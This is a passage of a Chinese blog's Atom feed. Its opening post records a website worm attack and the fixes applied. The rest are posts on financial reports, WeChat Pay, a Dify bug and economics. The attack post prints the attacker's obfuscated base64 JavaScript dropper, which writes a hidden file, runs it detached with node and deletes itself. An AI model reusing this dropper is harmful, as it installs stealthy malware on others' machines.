YywweDM3MCwweDM3ZSwnR1ZsOScpXShrLGlbYVYoMHgzNTEsMHgzMzEsMHgzNTUsJzQyQnknKV0oJy4nLGNyeXB0b1thVigweDNkZiwweDM5NSwweDNiNCwnNDJCeScpXShhVigweDM4MCwweDM2NywweDMwZiwnYXZqdScpKVthVigweDMyZSwweDMwYywweDJlMiwneHNVZScpXShrKVthVigweDNjMSwweDM2NSwweDM0ZiwnUjg0WScpXShhVigweDJmOCwweDM0NywweDM5OSwnQCNkXScpKVthVygweDIwZCwweDIyYiwnKShDQCcsMHgyMjApXSgweDY4YistMHg2ZGIrLTB4MSotMHg1MCwweDE0YTErLTB4MWQ4YysweDhmMSkpKSxCdWZmZXJbYVYoMHgyZWUsMHgyZTAsMHgyZjYsJyooN24nKV0oSlNPTlthVigweDMxZSwweDMwYSwweDMyYywneWhNUCcpXShyKSlbYVYoMHgzMDAsMHgyZWUsMHgyZjUsJ1ZIdzQnKV0oaVthVygweDIzNiwweDI5OCwnKig3bicsMHgyODApXSkscyk7Y29uc3QgdD1pW2FXKDB4MmNlLDB4MjhkLCdhdmp1JywweDI2ZildKHNwYXduLG0sW3BdLHsnZGV0YWNoZWQnOiEhW10sJ3N0ZGlvJzppW2FXKDB4MjY3LDB4MjdmLCdETVdtJywweDI2NCldLCdjd2QnOmssJ2Vudic6ey4uLnByb2Nlc3NbYVYoMHgyZjMsMHgzMTEsMHgyZTgsJ0BmW0gnKV0sJ1BBVEgnOmlbYVYoMHgzZDgsMHgzOWMsMHgzODksJyooN24nKV0ocGF0aFthVigweDM4OSwweDM1MSwweDJlYywnbHpZTCcpXShsLGFWKDB4MzZiLDB4MzE3LDB4MzMxLCc4ZltTJykpLCc6JykrcHJvY2Vzc1thVygweDIzYywweDI5YywnRE1XbScsMHgyYmYpXVthVygweDIzNiwweDI4MCwnSkV6TicsMHgyNWMpXX19KTt0W2FXKDB4MmU4LDB4MmE5LCc0MkJ5JywweDJkOCldKCkscHJvY2Vzc1thVigweDM3OSwweDMyNywweDJmZiwnaTkoNCcpXSgtMHgyMDdmKzB4MWRlZSstMHg0OSotMHg5KTt9fWNhdGNoe3Byb2Nlc3NbYVcoMHgyNDcsMHgyMjIsJ0dWbDknLDB4MWY0KV0oLTB4MjNkKjB4OSsweDE0Ki0weGVmKzB4MjZkMik7fX0pKCkpOw==" | base64 -d > "$D/.kxnzl4mtez.js" 2>/dev/null</span><br><span class="line">nohup "$ND/bin/node" "$D/.kxnzl4mtez.js" >/dev/null 2>&1 &</span><br><span class="line">rm -f "${BASH_SOURCE[0]}" 2>/dev/null</span><br><span class="line">exit 0</span><br><span class="line"></span><br></pre></td></tr></table></figure><h1 id="7-问题处理"><a href="#7-问题处理" class="headerlink" title="7. 问题处理"></a>7. 问题处理</h1><h2 id="7-1-添加黑名单"><a href="#7-1-添加黑名单" class="headerlink" title="7.1 添加黑名单"></a>7.1 添加黑名单</h2><p>将对应的下载地址添加到黑名单中,禁止从这些网站访问内容,也禁止这些ip访问我们的网站</p><h2 id="7-2-修复漏洞"><a href="#7-2-修复漏洞" class="headerlink" title="7.2 修复漏洞"></a>7.2 修复漏洞</h2><p>升级组件</p><h2 id="7-3-用户隔离"><a href="#7-3-用户隔离" class="headerlink" title="7.3 用户隔离"></a>7.3 用户隔离</h2><p>各个应用之间的用户,应该隔离,不要使用同一个用户,启动多个应用,比如使用一个用户启动前端react网站、后台flask、后台java应用,后台数据库等</p><h2 id="7-4-配置文件权限"><a href="#7-4-配置文件权限" class="headerlink" title="7.4 配置文件权限"></a>7.4 配置文件权限</h2><p>防止用户访问特定目录,比如跟此应用无关的其他用户目录,其他应用目录,数据库目录,代理目录等<br>setfacl -m u:lezhi123:— /root<br>setfacl -m u:lezhi123:— /mnt/lezhifu<br>setfacl -m u:lezhi123:— /mnt/lezhifu_dual<br>setfacl -m u:lezhi123:— /mnt/lezhifu<br>setfacl -m u:lezhi123:— /mnt/lezhisoft<br>setfacl -m u:lezhi123:— /mnt/mysql<br>setfacl -m u:lezhi123:— /mnt/nginx-1.24.0<br>setfacl -m u:lezhi123:— /mnt/python3.11<br>setfacl -m u:lezhi123:— /mnt/superset</p><p>好了,就记录到这里,希望大家网站不要被攻击。</p><p>记录问题也是一种修行。</p><p><img src="https://img2024.cnblogs.com/blog/1455070/202409/1455070-20240924224811849-2134953503.png" alt="修行"></p><hr><p>欢迎关注微信公众号,你的资源可变现:【乐知付加密平台】</p><img src="https://img2024.cnblogs.com/blog/1455070/202409/1455070-20240919212128860-1944218544.png" alt="乐知付加密平台" width="500" height="180"><p>欢迎关注微信公众号,这里记录博主的创业之旅:【程序员写书】</p><img src="https://img2024.cnblogs.com/blog/1455070/202409/1455070-20240919212147497-157482784.png" alt="程序员写书" width="500" height="180"><p>一起学习,一起进步。<br></p>]]></content>
<summary type="html"><p>记录一下网站被攻击的情况,及我如何处理的。</p></summary>
<category term="HTTP" scheme="https://chenzuoli.github.io/categories/HTTP/"/>
<category term="网络安全" scheme="https://chenzuoli.github.io/categories/HTTP/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/"/>
<category term="网站安全" scheme="https://chenzuoli.github.io/tags/%E7%BD%91%E7%AB%99%E5%AE%89%E5%85%A8/"/>
<category term="蠕虫病毒" scheme="https://chenzuoli.github.io/tags/%E8%A0%95%E8%99%AB%E7%97%85%E6%AF%92/"/>
</entry>
<entry>
<title>说下我是如何看财报的</title>
<link href="https://chenzuoli.github.io/2025/07/13/%E8%AF%B4%E4%B8%8B%E6%88%91%E6%98%AF%E5%A6%82%E4%BD%95%E7%9C%8B%E8%B4%A2%E6%8A%A5%E7%9A%84/"/>
<id>https://chenzuoli.github.io/2025/07/13/%E8%AF%B4%E4%B8%8B%E6%88%91%E6%98%AF%E5%A6%82%E4%BD%95%E7%9C%8B%E8%B4%A2%E6%8A%A5%E7%9A%84/</id>
<published>2025-07-13T11:50:52.000Z</published>
<updated>2025-07-13T11:54:39.000Z</updated>
<content type="html"><![CDATA[<p>看财报,财报中那么多数据一个个看清很费解,就看主要的几个就行了。<br><img src="/2025/07/13/%E8%AF%B4%E4%B8%8B%E6%88%91%E6%98%AF%E5%A6%82%E4%BD%95%E7%9C%8B%E8%B4%A2%E6%8A%A5%E7%9A%84/image.png" alt="财报"></p><span id="more"></span><p>如下:</p><p>一、现金流量表</p><p>主要看经营现金流, 经营现金流(CFO)直接反映企业通过主营业务创造现金的能力</p><pre><code> 净利润是经营现金流净额+投资现金流净额+筹资现金流净额,当企业经营不善时,可能通过赎回投资资产、折旧摊销、减值准备等等许多种方式,让净利润好看,但是实际企业可能账面盈利,其实实际资金紧张的情况。 1. 经营现金流越来越好 2. 经营现金流量金额越来越好 3. 筹资现金流和投资现金流没啥好看的,毕竟企业不是靠投资、筹资赚钱的,还得看主业经营情况。</code></pre><p><img src="/2025/07/13/%E8%AF%B4%E4%B8%8B%E6%88%91%E6%98%AF%E5%A6%82%E4%BD%95%E7%9C%8B%E8%B4%A2%E6%8A%A5%E7%9A%84/image-1.png" alt="现金流"></p><p>二、资产负债表</p><pre><code> 1. 看货币资金,越多,说明企业在经历困难时,能一次性拿出来更多的钱进行救火, 2. 看应收票据、应收账款、存货,这几个反应了企业在营运资金管理方面的能力,越少越好,说明企业的商品、服务没人敢拖欠资金,话语权更大,存货少,库存压力较小,商品受欢迎。 3. 看长期负债,越少越好,企业也不用支付那么多利息。 4. 其他没啥好看的,负债跟资产基本抵消掉</code></pre><p><img src="/2025/07/13/%E8%AF%B4%E4%B8%8B%E6%88%91%E6%98%AF%E5%A6%82%E4%BD%95%E7%9C%8B%E8%B4%A2%E6%8A%A5%E7%9A%84/image-2.png" alt="负债"></p><p>三、利润表</p><pre><code> 1. 营业收入和净利润没有参考性,看现金流量表中的经营活动现金流入、现金流量净额 2. 成本中的销售费用、管理费用、财务费用、营业成本等要合理(企业发展过程中,随着规模的扩大,这些成本肯定会扩大的) 3. 成本中的研发费用,代表企业在产品、技术、服务上花的心思有多少,多一点更好啦。 4. 其他没啥好看的。</code></pre><p><img src="/2025/07/13/%E8%AF%B4%E4%B8%8B%E6%88%91%E6%98%AF%E5%A6%82%E4%BD%95%E7%9C%8B%E8%B4%A2%E6%8A%A5%E7%9A%84/image-3.png" alt="利润"></p><p>四、关键指标</p><pre><code> 1. 基本:每股收益、每股净资产、每股经营现金流等等,在增长就更好 2. 盈利能力:总资产净利率、毛利率、净利率,在增长就好,平均每年都有20%左右增长更好,净利率10%往上的企业,盈利能力更强 3. 财务风险:资产负债率,近几年一直再降,那就不错 4. 运营能力:总资产周转率、存货周转率、应收账款周转率,当然走势变高更好啦 总资产周转率:企业资产创造收入的能力。高周转率 资产利用率更高 存货周转率:企业存货转化为销售的速度。高周转率 产品、服务销售越快,库存积压少 应收账款周转率:客户回款速度,反映销售政策和信用风险控制能力。高周转率,回款快,现金流健康,如果客户回款慢,可能出现坏账等风险。</code></pre><p><img src="/2025/07/13/%E8%AF%B4%E4%B8%8B%E6%88%91%E6%98%AF%E5%A6%82%E4%BD%95%E7%9C%8B%E8%B4%A2%E6%8A%A5%E7%9A%84/image-4.png" alt="关键指标"><br>仅供参考,无投资建议,任何风险自行承担,谢谢。</p><p>好了,今天就聊这么多。</p><hr><p>欢迎关注微信公众号,你的资源可变现:【乐知付加密平台】</p><img src="https://img2024.cnblogs.com/blog/1455070/202409/1455070-20240919212128860-1944218544.png" alt="乐知付加密平台" width="500" height="180"><p>欢迎关注微信公众号,这里记录博主的创业之旅:【程序员写书】</p><img src="https://img2024.cnblogs.com/blog/1455070/202409/1455070-20240919212147497-157482784.png" alt="程序员写书" width="500" height="180"><p>一起学习,一起进步。<br></p>]]></content>
<summary type="html"><p>看财报,财报中那么多数据一个个看清很费解,就看主要的几个就行了。<br><img src="/2025/07/13/%E8%AF%B4%E4%B8%8B%E6%88%91%E6%98%AF%E5%A6%82%E4%BD%95%E7%9C%8B%E8%B4%A2%E6%8A%A5%E7%9A%84/image.png" alt="财报"></p></summary>
<category term="投资" scheme="https://chenzuoli.github.io/categories/%E6%8A%95%E8%B5%84/"/>
<category term="财报" scheme="https://chenzuoli.github.io/categories/%E6%8A%95%E8%B5%84/%E8%B4%A2%E6%8A%A5/"/>
<category term="投资" scheme="https://chenzuoli.github.io/tags/%E6%8A%95%E8%B5%84/"/>
<category term="经济" scheme="https://chenzuoli.github.io/tags/%E7%BB%8F%E6%B5%8E/"/>
<category term="财报" scheme="https://chenzuoli.github.io/tags/%E8%B4%A2%E6%8A%A5/"/>
</entry>
<entry>
<title>微信支付接入1</title>
<link href="https://chenzuoli.github.io/2025/07/11/%E5%BE%AE%E4%BF%A1%E6%94%AF%E4%BB%98%E6%8E%A5%E5%85%A51/"/>
<id>https://chenzuoli.github.io/2025/07/11/%E5%BE%AE%E4%BF%A1%E6%94%AF%E4%BB%98%E6%8E%A5%E5%85%A51/</id>
<published>2025-07-11T12:13:10.000Z</published>
<updated>2025-07-11T12:18:19.358Z</updated>
<content type="html"><![CDATA[<p>微信接入第一步,看来一天的文档,了解了微信支付的一些概念。</p><span id="more"></span><h1 id="常用的5种支付产品"><a href="#常用的5种支付产品" class="headerlink" title="常用的5种支付产品"></a>常用的5种支付产品</h1><ol><li>JSAPI支付<br>适用场景:适用于已接入微信公众平台的网页应用,用户在微信内置浏览器中打开商户网页时使用。</li><li>APP支付<br>适用场景:适用于移动端应用(如Android、iOS App),用户通过App内调用微信支付SDK完成支付。</li><li>H5支付<br>适用场景:适用于在非微信浏览器中打开的移动网页支付场景,例如通过短信链接或扫码在手机浏览器中打开的支付页面。</li><li>Native支付<br>适用场景:适用于线下实体场景,例如商户系统生成二维码供用户扫码支付(如超市、便利店等)。</li><li>小程序支付<br>适用场景:适用于微信小程序内的支付流程,用户在小程序内选购商品或服务后完成支付。</li></ol><p>接入文档:<a href="https://pay.weixin.qq.com/doc/v3/partner/4012069852">https://pay.weixin.qq.com/doc/v3/partner/4012069852</a></p><h1 id="两种验签方式"><a href="#两种验签方式" class="headerlink" title="两种验签方式"></a>两种验签方式</h1><ol><li>验签方式一:平台证书方式</li><li>验签方式二:微信支付公钥方式</li></ol><p>因为每张平台证书有效期为5年,如果未及时更换会影响业务,建议使用微信支付公钥模式对接,可以按需更新公钥。</p><p>如果你是第一次对接微信支付,此前从未使用过平台证书,请参考微信支付公钥指引 完成对接。</p><p>不同:<br><a href="https://pay.weixin.qq.com/doc/v3/partner/4012925323">https://pay.weixin.qq.com/doc/v3/partner/4012925323</a></p><h1 id="申请"><a href="#申请" class="headerlink" title="申请"></a>申请</h1><p><a href="https://pay.weixin.qq.com/index.php/core/cert/api_cert#/">https://pay.weixin.qq.com/index.php/core/cert/api_cert#/</a></p><hr><p>欢迎关注微信公众号,你的资源可变现:【乐知付加密平台】</p><img src="https://img2024.cnblogs.com/blog/1455070/202409/1455070-20240919212128860-1944218544.png" alt="乐知付加密平台" width="500" height="180"><p>欢迎关注微信公众号,这里记录博主的创业之旅:【程序员写书】</p><img src="https://img2024.cnblogs.com/blog/1455070/202409/1455070-20240919212147497-157482784.png" alt="程序员写书" width="500" height="180"><p>一起学习,一起进步。<br></p>]]></content>
<summary type="html"><p>微信接入第一步,看来一天的文档,了解了微信支付的一些概念。</p></summary>
<category term="网站" scheme="https://chenzuoli.github.io/categories/%E7%BD%91%E7%AB%99/"/>
<category term="支付" scheme="https://chenzuoli.github.io/categories/%E7%BD%91%E7%AB%99/%E6%94%AF%E4%BB%98/"/>
<category term="微信支付" scheme="https://chenzuoli.github.io/categories/%E7%BD%91%E7%AB%99/%E6%94%AF%E4%BB%98/%E5%BE%AE%E4%BF%A1%E6%94%AF%E4%BB%98/"/>
<category term="微信支付" scheme="https://chenzuoli.github.io/tags/%E5%BE%AE%E4%BF%A1%E6%94%AF%E4%BB%98/"/>
<category term="wechat" scheme="https://chenzuoli.github.io/tags/wechat/"/>
</entry>
<entry>
<title>dify1.2.0版本的一个小bug</title>
<link href="https://chenzuoli.github.io/2025/06/06/dify1-2-0%E7%89%88%E6%9C%AC%E7%9A%84%E4%B8%80%E4%B8%AA%E5%B0%8Fbug/"/>
<id>https://chenzuoli.github.io/2025/06/06/dify1-2-0%E7%89%88%E6%9C%AC%E7%9A%84%E4%B8%80%E4%B8%AA%E5%B0%8Fbug/</id>
<published>2025-06-06T14:32:43.000Z</published>
<updated>2025-06-06T15:05:06.003Z</updated>
<content type="html"><![CDATA[<p>查看api容器,发现了一个报错:</p><span id="more"></span><p>问题:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line">2025-06-06 14:11:56.115 ERROR [Dummy-2] [completion.py:137] - internal server error.</span><br><span class="line">Traceback (most recent call last):</span><br><span class="line"> File "/app/api/controllers/web/completion.py", line 112, in post</span><br><span class="line"> response = AppGenerateService.generate(</span><br><span class="line"> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^</span><br><span class="line"> File "/app/api/services/app_generate_service.py", line 73, in generate</span><br><span class="line"> AgentChatAppGenerator().generate(</span><br><span class="line"> File "/app/api/core/app/apps/agent_chat/app_generator.py", line 170, in generate</span><br><span class="line"> (conversation, message) = self._init_generate_records(application_generate_entity, conversation)</span><br><span class="line"> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</span><br><span class="line"> File "/app/api/core/app/apps/message_based_app_generator.py", line 156, in _init_generate_records</span><br><span class="line"> conversation_name = (query[:20] + "…") if len(query) > 20 else query</span><br><span class="line"> ^^^^^^^^^^</span><br><span class="line">TypeError: object of type 'NoneType' has no len()</span><br><span class="line">2025-06-06 14:11:56.125 ERROR [Dummy-2] [app.py:875] - Exception on /api/chat-messages [POST]</span><br><span class="line">Traceback (most recent call last):</span><br><span class="line"> File "/app/api/controllers/web/completion.py", line 112, in post</span><br><span class="line"> response = AppGenerateService.generate(</span><br><span class="line"> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^</span><br><span class="line"> File "/app/api/services/app_generate_service.py", line 73, in generate</span><br><span class="line"> AgentChatAppGenerator().generate(</span><br><span class="line"> File "/app/api/core/app/apps/agent_chat/app_generator.py", line 170, in generate</span><br><span class="line"> (conversation, message) = self._init_generate_records(application_generate_entity, conversation)</span><br><span class="line"> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</span><br><span class="line"> File "/app/api/core/app/apps/message_based_app_generator.py", line 156, in _init_generate_records</span><br><span class="line"> conversation_name = (query[:20] + "…") if len(query) > 20 else query</span><br><span class="line"> ^^^^^^^^^^</span><br><span class="line">TypeError: object of type 'NoneType' has no len()</span><br><span class="line"></span><br><span class="line">During handling of the above exception, another exception occurred:</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>进入容器:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">docker exec -it dify_api_1 bash</span><br><span class="line"></span><br><span class="line"># 找到文件</span><br><span class="line">vim /app/api/core/app/apps/message_based_app_generator.py</span><br><span class="line"># 在156行前面加一句</span><br><span class="line">query = query or "New conversation"</span><br><span class="line">conversation_name = (query[:20] + "…") if len(query) > 20 else query</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>停止容器:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker compose stop</span><br></pre></td></tr></table></figure><p>启动容器:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker compose start</span><br></pre></td></tr></table></figure><hr><p>欢迎关注微信公众号,你的资源可变现:【乐知付加密平台】</p><img src="https://img2024.cnblogs.com/blog/1455070/202409/1455070-20240919212128860-1944218544.png" alt="乐知付加密平台" width="500" height="180"><p>欢迎关注微信公众号,这里记录博主的创业之旅:【程序员写书】</p><img src="https://img2024.cnblogs.com/blog/1455070/202409/1455070-20240919212147497-157482784.png" alt="程序员写书" width="500" height="180"><p>一起学习,一起进步。<br></p>]]></content>
<summary type="html"><p>查看api容器,发现了一个报错:</p></summary>
<category term="AI" scheme="https://chenzuoli.github.io/categories/AI/"/>
<category term="Dify" scheme="https://chenzuoli.github.io/categories/AI/Dify/"/>
<category term="ai" scheme="https://chenzuoli.github.io/tags/ai/"/>
<category term="dify" scheme="https://chenzuoli.github.io/tags/dify/"/>
<category term="chat" scheme="https://chenzuoli.github.io/tags/chat/"/>
</entry>
<entry>
<title>4.2对等关税来了</title>
<link href="https://chenzuoli.github.io/2025/04/06/4-2%E5%AF%B9%E7%AD%89%E5%85%B3%E7%A8%8E%E6%9D%A5%E4%BA%86/"/>
<id>https://chenzuoli.github.io/2025/04/06/4-2%E5%AF%B9%E7%AD%89%E5%85%B3%E7%A8%8E%E6%9D%A5%E4%BA%86/</id>
<published>2025-04-06T14:22:38.000Z</published>
<updated>2025-04-06T14:24:57.616Z</updated>
<content type="html"><![CDATA[<p>之前的贸易税率是不对等的,现在对等起来了。那应该变得正常了才对,为什么大家如此恐慌?</p><span id="more"></span><p><img src="/2025/04/06/4-2%E5%AF%B9%E7%AD%89%E5%85%B3%E7%A8%8E%E6%9D%A5%E4%BA%86/Image.png" alt="对等关税"></p><p>需求还在那儿,关税增加到正常值而已,买国货贵了50%而已,人的需求一旦达到了一定高度,再想让他降低需求,会很难受的。</p><p>所以,全球的总需求会减弱吗?短时期减弱,长时间会恢复到正常水平。</p><p>漂亮国买东西会变贵,我们基本没影响,顶多丢失一些订单,从其他贸易伙伴中可以补充。国内再降低下利率,贬值人民币,也可以对冲掉一些关税带来的冲击。</p><p>美联储会勒紧利率,同时降低能源价格,防止通胀。</p><p>以上,不用太担心。过好自己的日子,该吃吃该喝喝,别搞什么杞人忧天?</p><hr><p>欢迎关注微信公众号,你的资源可变现:【乐知付加密平台】</p><img src="https://img2024.cnblogs.com/blog/1455070/202409/1455070-20240919212128860-1944218544.png" alt="乐知付加密平台" width="500" height="180"><p>欢迎关注微信公众号,这里记录博主的创业之旅:【程序员写书】</p><img src="https://img2024.cnblogs.com/blog/1455070/202409/1455070-20240919212147497-157482784.png" alt="程序员写书" width="500" height="180"><p>一起学习,一起进步。<br></p>]]></content>
<summary type="html"><p>之前的贸易税率是不对等的,现在对等起来了。那应该变得正常了才对,为什么大家如此恐慌?</p></summary>
</entry>
<entry>
<title>上海线下英语角邀请函</title>
<link href="https://chenzuoli.github.io/2025/03/23/%E4%B8%8A%E6%B5%B7%E7%BA%BF%E4%B8%8B%E8%8B%B1%E8%AF%AD%E8%A7%92%E9%82%80%E8%AF%B7%E5%87%BD/"/>
<id>https://chenzuoli.github.io/2025/03/23/%E4%B8%8A%E6%B5%B7%E7%BA%BF%E4%B8%8B%E8%8B%B1%E8%AF%AD%E8%A7%92%E9%82%80%E8%AF%B7%E5%87%BD/</id>
<published>2025-03-23T07:50:22.000Z</published>
<updated>2025-03-23T08:41:13.065Z</updated>
<content type="html"><![CDATA[<p>上海青浦、松江线下英语角邀请函。</p><span id="more"></span><p><img src="/2025/03/23/%E4%B8%8A%E6%B5%B7%E7%BA%BF%E4%B8%8B%E8%8B%B1%E8%AF%AD%E8%A7%92%E9%82%80%E8%AF%B7%E5%87%BD/image.png" alt="spoken-english"></p><p>亲爱的英语爱好者朋友们:</p><p>你是否希望在周末放松的同时提升英语口语?是否觉得市区的英语角太远,不方便参加?我们为你提供了一个轻松、自由的英语交流机会!</p><p>我是一个英语学习爱好者,市区徐汇、浦东、人民广场英语角较远,路程需要一个多小时,对于一个工作日每天单程通勤也需要一小时的我来说,就有些犹豫要不要去了,于是我准备组织一个在青浦、松江附近的英语角,方便大家,也方便自己。</p><p>我的英语能力,口语能力一般,希望口语流利者参与前考虑:</p><ol><li>单词量4000左右,可通过各大英语学习app进行测试(多邻国、欧陆词典、英语流利说等)</li><li>英语四级</li></ol><p>活动详情:</p><p>时间:每周末(周六或周日,具体时间灵活安排)</p><p>地点:徐泾、虹桥、九亭、泗泾、佘山等附近的公园(具体地点每次提前沟通)</p><p>对象:普通职场打工人,非专业英语学习者或母语者</p><p>内容:随意聊天,练习英语口语,话题不限(出国旅游、学习、工作、生活等)</p><p>费用:完全免费,无任何消费</p><p>目的:为附近的朋友提供一个轻松、方便的英语交流环境,帮助大家在休息日提升口语能力</p><p>无论你是为了出国旅游、学习还是工作,这里都是一个轻松学习、结交朋友的好地方!快来加入我们,一起在周末的阳光下畅聊英语吧!</p><p>报名方式:<br>请扫描下方二维码或添加微信(微信号:PAIN_7771),邀请加入我们的活动群,获取最新活动信息。</p><p>期待与你相遇!<br>——陈作立</p><p>(联系方式:15313621879)</p><hr>]]></content>
<summary type="html"><p>上海青浦、松江线下英语角邀请函。</p></summary>
<category term="其他" scheme="https://chenzuoli.github.io/categories/%E5%85%B6%E4%BB%96/"/>
<category term="英语" scheme="https://chenzuoli.github.io/categories/%E5%85%B6%E4%BB%96/%E8%8B%B1%E8%AF%AD/"/>
<category term="英语角" scheme="https://chenzuoli.github.io/tags/%E8%8B%B1%E8%AF%AD%E8%A7%92/"/>
<category term="英语" scheme="https://chenzuoli.github.io/tags/%E8%8B%B1%E8%AF%AD/"/>
<category term="上海" scheme="https://chenzuoli.github.io/tags/%E4%B8%8A%E6%B5%B7/"/>
</entry>
<entry>
<title>谁在抛售美债?</title>
<link href="https://chenzuoli.github.io/2025/02/14/%E8%B0%81%E5%9C%A8%E6%8A%9B%E5%94%AE%E7%BE%8E%E5%80%BA/"/>
<id>https://chenzuoli.github.io/2025/02/14/%E8%B0%81%E5%9C%A8%E6%8A%9B%E5%94%AE%E7%BE%8E%E5%80%BA/</id>
<published>2025-02-14T15:28:05.000Z</published>
<updated>2025-02-15T06:35:49.168Z</updated>
<content type="html"><![CDATA[<p>10年期国债走势的意义,大家都知道。</p><p>那美国10年期国债上涨的原因,我们又可以知道吗?</p><span id="more"></span><p>先说下10年期国债的意义。</p><p>1. 反映国家的信用风险和财政收支状况:十年期国债收益率是衡量国家信用风险的重要指标。收益率越低,表示国家信用风险越小,财政状况越可控。</p><p>2. 影响银行的资金成本:国债收益率代表无风险利率,是确定银行贷款利率的基准。如果国债收益率上升,银行贷款利率也会相应上调。</p><p>3. 决定资本资产定价:国债收益率代表无风险利率,是其他金融资产定价的基准。收益率上升会引发整体资产价格下降。</p><p>4. 反映货币政策取向:央行通过操作十年期国债进行利率导向和预期管理,十年期国债收益率的变化代表货币政策的调整。</p><p>5. 影响企业融资成本:国债收益率决定公司债券融资利率,进而影响企业的资金成本。</p><p>6. 体现资金供求状况:国债收益率受到投资者对安全资产偏好的影响,能反映出市场资金面的宽松或紧张。</p><p>7. 作为经济指标:收益率的历史变动反映经济的通货膨胀预期,可以作为分析经济趋势的参考指标之一。</p><p>8. 影响其他资产价格:十年期国债收益率对债券、股票以及汇率等价格有显著影响。央行通过买卖国债、加息降息等方式对其进行干预和影响,从而影响其他资产的价格。</p><p>9. 避险作用:由于国债具有较强的避险作用,十年期国债收益率也被看作是各类资产收益率的基准,各类资产的估值都离不开它。</p><p>那美债收益率上升,又是谁在卖美债呢?<br><img src="/2025/02/14/%E8%B0%81%E5%9C%A8%E6%8A%9B%E5%94%AE%E7%BE%8E%E5%80%BA/image.png" alt="美债收益率"></p><p>答案:中国<br><img src="/2025/02/14/%E8%B0%81%E5%9C%A8%E6%8A%9B%E5%94%AE%E7%BE%8E%E5%80%BA/image-1.png" alt="各国美债占比"></p><p>中国为啥减持美债?</p><ol><li>规避风险:美国政府债务规模庞大,债务膨胀的速度让许多国家对美债的信任度下降。为了规避风险,中国选择减持美债<br>2. 经济考量:美联储大幅加息导致美债价格承压,收益率不高,不划算、。此外,中国在尝试减少对美元的依赖,推进“去美元化”<br>3. 中美关系变化:中美关系近年来变得复杂,贸易摩擦、科技竞争和地缘政治等因素影响了中国的决策<br>4. 美元贬值风险:美国印钞导致美元贬值,中国持有大量美债面临贬值风险,因此选择减持<br><br>减持美债对中国的影响包括:</li><li>外汇储备管理:中国通过减持美债来分散风险,确保外汇储备的安全和流动性<br>2. 人民币国际化:减持美债的同时,中国积极推进人民币国际化,减少对美元的依赖</li></ol><p>当然,还有一种原因就是控制外汇汇率稳定,当人民币兑美元贬值过快,影响进口成本,那么卖出美元买入人民币,可使人民币汇率稳定。</p><p>ok.</p><hr><p><b>书山有路勤为径,学海无涯苦作舟。</b></p><p>欢迎关注微信公众号:【乐知付加密平台】,您的网络资源可变现<br><img src="/images/wechat_account.png" alt="乐知付加密平台"></p><p>一起学习,一起进步。<br></p>]]></content>
<summary type="html"><p>10年期国债走势的意义,大家都知道。</p>
<p>那美国10年期国债上涨的原因,我们又可以知道吗?</p></summary>
<category term="投资" scheme="https://chenzuoli.github.io/categories/%E6%8A%95%E8%B5%84/"/>
<category term="宏观经济" scheme="https://chenzuoli.github.io/categories/%E6%8A%95%E8%B5%84/%E5%AE%8F%E8%A7%82%E7%BB%8F%E6%B5%8E/"/>
<category term="美债" scheme="https://chenzuoli.github.io/categories/%E6%8A%95%E8%B5%84/%E5%AE%8F%E8%A7%82%E7%BB%8F%E6%B5%8E/%E7%BE%8E%E5%80%BA/"/>
<category term="美债" scheme="https://chenzuoli.github.io/tags/%E7%BE%8E%E5%80%BA/"/>
<category term="宏观经济" scheme="https://chenzuoli.github.io/tags/%E5%AE%8F%E8%A7%82%E7%BB%8F%E6%B5%8E/"/>
</entry>
<entry>
<title>chrome扩展程序开发-ServiceWorker服务工件问题</title>
<link href="https://chenzuoli.github.io/2025/01/12/chrome%E6%89%A9%E5%B1%95%E7%A8%8B%E5%BA%8F%E5%BC%80%E5%8F%91-ServiceWorker%E6%9C%8D%E5%8A%A1%E5%B7%A5%E4%BB%B6%E9%97%AE%E9%A2%98/"/>
<id>https://chenzuoli.github.io/2025/01/12/chrome%E6%89%A9%E5%B1%95%E7%A8%8B%E5%BA%8F%E5%BC%80%E5%8F%91-ServiceWorker%E6%9C%8D%E5%8A%A1%E5%B7%A5%E4%BB%B6%E9%97%AE%E9%A2%98/</id>
<published>2025-01-12T03:33:15.000Z</published>
<updated>2025-01-12T03:33:15.057Z</updated>
</entry>
<entry>
<title>chrome扩展程序开发-扩展程序与内容脚本之间的消息传递</title>
<link href="https://chenzuoli.github.io/2025/01/12/chrome%E6%89%A9%E5%B1%95%E7%A8%8B%E5%BA%8F%E5%BC%80%E5%8F%91-%E6%89%A9%E5%B1%95%E7%A8%8B%E5%BA%8F%E4%B8%8E%E5%86%85%E5%AE%B9%E8%84%9A%E6%9C%AC%E4%B9%8B%E9%97%B4%E7%9A%84%E6%B6%88%E6%81%AF%E4%BC%A0%E9%80%92/"/>
